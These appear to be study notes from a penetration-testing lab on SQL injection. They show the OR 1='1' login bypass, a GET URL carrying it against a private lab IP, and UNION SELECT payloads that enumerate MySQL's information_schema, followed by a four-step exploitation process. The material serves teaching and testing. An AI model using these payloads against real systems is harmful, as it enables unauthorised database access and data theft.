SQL Injection Basics

<https://dev.mysql.com/doc/refman/8.0/en/information-schema.html>

https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function\_database

[**http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet**](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)

**https://sqlwiki.netspi.com/attackQueries/informationGathering/#mysql**

## SQL Layout

->Database

-->Table

--->Columns

---->Rows

## Basic SQL Queries

1. SELECT \* From Customers

2. SELECT CustomerID, ContactName, City, PostalCode From Customers

3. SELECT CustomerID, ContactName, City, PostalCode From Customers WHERE City = 'Berlin'

4. SELECT username, password FROM users

WHERE username = 'user' OR 1='1'

AND password = 'user' OR 1='1';

5. GOLDEN STATEMENT

**SELECT table\_schema,table\_name,column\_name from information\_schema.columns;**

**Resource:** <https://www.w3schools.com/sql/trysql.asp?filename=trysql_select_all>

## Determining how to submit information to the web server

**POST**

Submit through the text boxes

**GET**

Modify the URL params

http://10.50.24.218/login.php?username=user’ OR 1=’1&passwd=user OR 1=’1

## Injections

**' (single quotes)**

* to close off quotations added in the back end query

**OR**

* Modify the logic of the query to make something else true.

**1=1, 2=2, etc**

* The value tested to be true by the OR statement

**Example:**

Underlying Query (Cannot be changed) User inputted Query

SELECT name, user, pass, token FROM authentication WHERE user = '$user'

SELECT name, user, pass, token FROM authentication WHERE user = 'bacon'OR 1='1'

bacon is false because that value does not exist in the table, but 1=1 is true because it is mathematically correct. The OR statement requires **only one side of the comparison to be true** in order evaluate the query has True!

## Determining how to submit information to the web server

**POST**

Submit through the text boxes

**GET**

Modify the URL params

http://10.50.24.218/login.php?username=user’ OR 1=’1&passwd=user OR 1=’1

Enumerating SQL via Information Schema

<https://dev.mysql.com/doc/refman/5.7/en/information-schema.html>

bacon' UNION SELECT TABLE\_NAME,2,3,4,5 FROM INFORMATION\_SCHEMA.TABLES;#

bacon' UNION SELECT COLUMN\_NAME,2,3,4,5 FROM INFORMATION\_SCHEMA.COLUMNS;#

bacon' UNION SELECT SCHEMA\_NAME,2,3,4,5 FROM INFORMATION\_SCHEMA.SCHEMATA;#

## **Process for testing for vulnerabilities**

1. Locate a place were data can be sent to the server
2. Attempt to modify the logic of the underlying query
3. Enumerate the database with a UNION attack!
4. Use data from union attacks, union select the needed information from the server.